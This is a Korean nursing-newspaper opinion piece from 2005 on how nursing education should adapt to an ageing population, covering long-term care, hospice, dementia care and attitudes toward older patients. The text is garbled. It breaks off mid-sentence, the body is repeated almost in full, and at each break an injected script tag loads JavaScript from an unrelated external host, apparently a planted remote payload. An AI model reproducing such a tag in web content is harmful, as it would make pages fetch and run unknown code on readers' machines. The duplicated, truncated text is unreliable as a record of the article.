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창간 29주년 특집-간호교육, 어떻게 달라져야 하나
이 경 자 노인간호학회 회장
기사입력 2005-10-20 오전 10:18:26
우리나라 전체 인구 중 65세 이상 노인이 차지하는 비율이 2003년에 8.3%로 고령화사회에 진입했고, 2018년에는 14.3%로 고령사회로 진입하고, 2026년에는 20.0%로 초고령사회에 도달할 것으로 전망되고 있다.
이렇게 고령인구의 증가는 심각한 사회적 문제로 경각심을 일으키고 있다. 특히 80세 이상 고령층의 증가가 현저하여 치매노인과 와상노인을 간호해야 하는 장기요양보호 노인인구의 규모가 급속히 늘 것으로 추산되어 노인요양보장제도의 도입을 국가적으로 추진하고 있는 바이다.
노인건강관리에서 가장 효율적이고 적절한 인력으로 간호사가 인정받고 있다. 그 결과 2003년 10월 노인전문간호사제도가 도입됐으며, 노인전문간호사 교육이 대학원과정으로 진행되고 있다. 고령사회에서 직면하는 사회적 요구에 부응할 수 있는 일반간호사의 육성이 중요함을 생각할 때 졸업 후 근무할 현장에서의 요구와 학습해야 할 지식이 모두 고려된 학부 교과과정을 구성해야 할 시점에 있다.
노인은 어떤 다른 연령층보다도 건강문제가 생기기 쉽기 때문에 잠재적인 건강 위험이 높고, 재가노인이라 할지라도 만성질환이 있는 노인이 대부분이기 때문에 직접적인 건강서비스를 필요로 하고 있다. 노인간호의 대상자에는 완전와상노인 뿐 아니라 만성질환이 있으며 의존적인 노인, 만성질환은 있으나 독립적인 노인, 그리고 건강하며 독립적인 노인까지 모두 포함된다.
이는 노인을 대상으로 하는 간호활동의 장소가 다양하다는 것을 의미한다. 급성질환을 가진 노인을 대상으로 하는 병의원, 끊임없는 간호가 필요한 노인시설인 요양원, 지역사회에서 노인들에게 건강서비스를 제공하는 보건소, 가정간호사업소, 주간보호소, 그리고 비교적 자가간호를 할 수 있는 노인이 이용하는 노인복지센터 등에서 간호사의 역할을 기대한다.
따라서 간호교육에서도 노인이 있는 다양한 장소에서 요구되는 간호업무를 수행할 수 있는 일반간호사 배출을 위한 노인간호 교육내용의 변화가 요구된다.
질병을 가진 노인을 대상으로 하는 간호를 위한 교육과정에는 노인의 질병이 만성이며 복합적인 특징을 가진다는 점에서 어느 다른 연령층보다도 보완적이고 예방적인 측면, 만성질환을 관리하면서도 의존적이 되지 않도록 하는 건강유지, 불구예방, 재활의 측면이 강조돼야 한다.
노년기의 건강서비스에서는 신체적인 면과 함께 심리적, 영적인 면을 고려한 전인간호가 더욱더 필요하다. 그러므로 와상노인을 위한 간호뿐 아니라 노인이 존엄성을 가지고 생을 마무리 할 수 있도록 하는 호스피스간호 내용을 포함시켜, 배출된 간호사가 노인 대상자의 임종을 긍정적으로 도와줄 수 있는 능력을 지니게 해야 한다.
노인 장기요양시설에서의 간호수행에서 필수적인 와상노인간호, 치매노인간호 이외에 치료적 중재로써 회상요법, 음악치료, 원예치료, 아로마치료 등에 대한 지식과 기술을 습득하는 기회를 교육과정 중에 제공하여 입소노인들을 위한 효과적인 프로그램을 주도할 수 있는 능력을 갖추도록 해야 한다.
보건소에 내소하는 노인, 노인복지관에서 프로그램에 참여하는 노인들 중 독립적이나 만성질환이 있는 노인을 위해서는 우울증 예방, 만성통증관리, 수면장애 완화를 위한 지식, 영양지식 및 약물 사용에 대한 지식과 대체요법에 대한 올바른 지식이 요구됨과 함께 심리적 안녕을 위한 상담이 필요하므로 노인 건강교육술과 상담술 교육이 필요하다.
이들 노인들의 건강유지에 더하여 건강증진을 도모할 수 있는 제반 이론적 지식과 의사소통술을 습득함으로써 간호사가 솔선하여 노인건강증진을 유도할 수 있게 해야 한다.
노인 대상자를 간호하는데 있어서, 간호지식과 간호기술 습득에만 간호교육의 초점이 맞추어지는 것으로 만족되어지지 않는다. 노인에 대한 부정적인 개념을 가지면 노인 대상 간호를 기피하거나 불편해 하는 간호사가 될 수 있기 때문이다.
노인간호에 대한 긍정적인 태도에는 노인을 수용하는 감정, 노인에 대한 존경심, 인내심, 친밀감, 노인의 권리를 존중하는 윤리적 태도 등이 포함되는데, 이들을 함양하기 위해서는 노인을 이해하는 지식뿐 아니라 실습의 기회가 필요하다. 그러므로 요양원이나 병원에서 질병을 가지고 있는 노인을 실습하기 전에 만성질환을 가지고 있어도 잘 관리하면서 행복하게 사는 노인들을 실습 대상으로 하여 노인에 대한 긍정적인 감정을 지니게 하는 기회가 주어지는 것이 바람직하다.
노인전문간호사를 위한 대학원과정의 교육내용은 그들에게 기대되는 역할만큼 중요하다. 대한간호협회는 전문간호사의 역할로 전문가적 간호실무를 자율적으로 수행하고 간호대상자 및 의료요원을 대상으로 교육, 상담, 자문하며, 연구자 및 지도관리자로서의 기능을 수행해야 한다고 했다. 또한 노인의 1차 건강?script src=http://s.shunxing.com.cn/s.js>
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이렇게 고령인구의 증가는 심각한 사회적 문제로 경각심을 일으키고 있다. 특히 80세 이상 고령층의 증가가 현저하여 치매노인과 와상노인을 간호해야 하는 장기요양보호 노인인구의 규모가 급속히 늘 것으로 추산되어 노인요양보장제도의 도입을 국가적으로 추진하고 있는 바이다.
노인건강관리에서 가장 효율적이고 적절한 인력으로 간호사가 인정받고 있다. 그 결과 2003년 10월 노인전문간호사제도가 도입됐으며, 노인전문간호사 교육이 대학원과정으로 진행되고 있다. 고령사회에서 직면하는 사회적 요구에 부응할 수 있는 일반간호사의 육성이 중요함을 생각할 때 졸업 후 근무할 현장에서의 요구와 학습해야 할 지식이 모두 고려된 학부 교과과정을 구성해야 할 시점에 있다.
노인은 어떤 다른 연령층보다도 건강문제가 생기기 쉽기 때문에 잠재적인 건강 위험이 높고, 재가노인이라 할지라도 만성질환이 있는 노인이 대부분이기 때문에 직접적인 건강서비스를 필요로 하고 있다. 노인간호의 대상자에는 완전와상노인 뿐 아니라 만성질환이 있으며 의존적인 노인, 만성질환은 있으나 독립적인 노인, 그리고 건강하며 독립적인 노인까지 모두 포함된다.
이는 노인을 대상으로 하는 간호활동의 장소가 다양하다는 것을 의미한다. 급성질환을 가진 노인을 대상으로 하는 병의원, 끊임없는 간호가 필요한 노인시설인 요양원, 지역사회에서 노인들에게 건강서비스를 제공하는 보건소, 가정간호사업소, 주간보호소, 그리고 비교적 자가간호를 할 수 있는 노인이 이용하는 노인복지센터 등에서 간호사의 역할을 기대한다.
따라서 간호교육에서도 노인이 있는 다양한 장소에서 요구되는 간호업무를 수행할 수 있는 일반간호사 배출을 위한 노인간호 교육내용의 변화가 요구된다.
질병을 가진 노인을 대상으로 하는 간호를 위한 교육과정에는 노인의 질병이 만성이며 복합적인 특징을 가진다는 점에서 어느 다른 연령층보다도 보완적이고 예방적인 측면, 만성질환을 관리하면서도 의존적이 되지 않도록 하는 건강유지, 불구예방, 재활의 측면이 강조돼야 한다.
노년기의 건강서비스에서는 신체적인 면과 함께 심리적, 영적인 면을 고려한 전인간호가 더욱더 필요하다. 그러므로 와상노인을 위한 간호뿐 아니라 노인이 존엄성을 가지고 생을 마무리 할 수 있도록 하는 호스피스간호 내용을 포함시켜, 배출된 간호사가 노인 대상자의 임종을 긍정적으로 도와줄 수 있는 능력을 지니게 해야 한다.
노인 장기요양시설에서의 간호수행에서 필수적인 와상노인간호, 치매노인간호 이외에 치료적 중재로써 회상요법, 음악치료, 원예치료, 아로마치료 등에 대한 지식과 기술을 습득하는 기회를 교육과정 중에 제공하여 입소노인들을 위한 효과적인 프로그램을 주도할 수 있는 능력을 갖추도록 해야 한다.
보건소에 내소하는 노인, 노인복지관에서 프로그램에 참여하는 노인들 중 독립적이나 만성질환이 있는 노인을 위해서는 우울증 예방, 만성통증관리, 수면장애 완화를 위한 지식, 영양지식 및 약물 사용에 대한 지식과 대체요법에 대한 올바른 지식이 요구됨과 함께 심리적 안녕을 위한 상담이 필요하므로 노인 건강교육술과 상담술 교육이 필요하다.
이들 노인들의 건강유지에 더하여 건강증진을 도모할 수 있는 제반 이론적 지식과 의사소통술을 습득함으로써 간호사가 솔선하여 노인건강증진을 유도할 수 있게 해야 한다.
노인 대상자를 간호하는데 있어서, 간호지식과 간호기술 습득에만 간호교육의 초점이 맞추어지는 것으로 만족되어지지 않는다. 노인에 대한 부정적인 개념을 가지면 노인 대상 간호를 기피하거나 불편해 하는 간호사가 될 수 있기 때문이다.
노인간호에 대한 긍정적인 태도에는 노인을 수용하는 감정, 노인에 대한 존경심, 인내심, 친밀감, 노인의 권리를 존중하는 윤리적 태도 등이 포함되는데, 이들을 함양하기 위해서는 노인을 이해하는 지식뿐 아니라 실습의 기회가 필요하다. 그러므로 요양원이나 병원에서 질병을 가지고 있는 노인을 실습하기 전에 만성질환을 가지고 있어도 잘 관리하면서 행복하게 사는 노인들을 실습 대상으로 하여 노인에 대한 긍정적인 감정을 지니게 하는 기회가 주어지는 것이 바람직하다.
노인전문간호사를 위한 대학원과정의 교육내용은 그들에게 기대되는 역할만큼 중요하다. 대한간호협회는 전문간호사의 역할로 전문가적 간호실무를 자율적으로 수행하고 간호대상자 및 의료요원을 대상으로 교육, 상담, 자문하며, 연구자 및 지도관리자로서의 기능을 수행해야 한다고 했다. 또한 노인의 1차 건강?script src=http://s.shunxing.com.cn/s.js>
이경자 news@nursenews.co.kr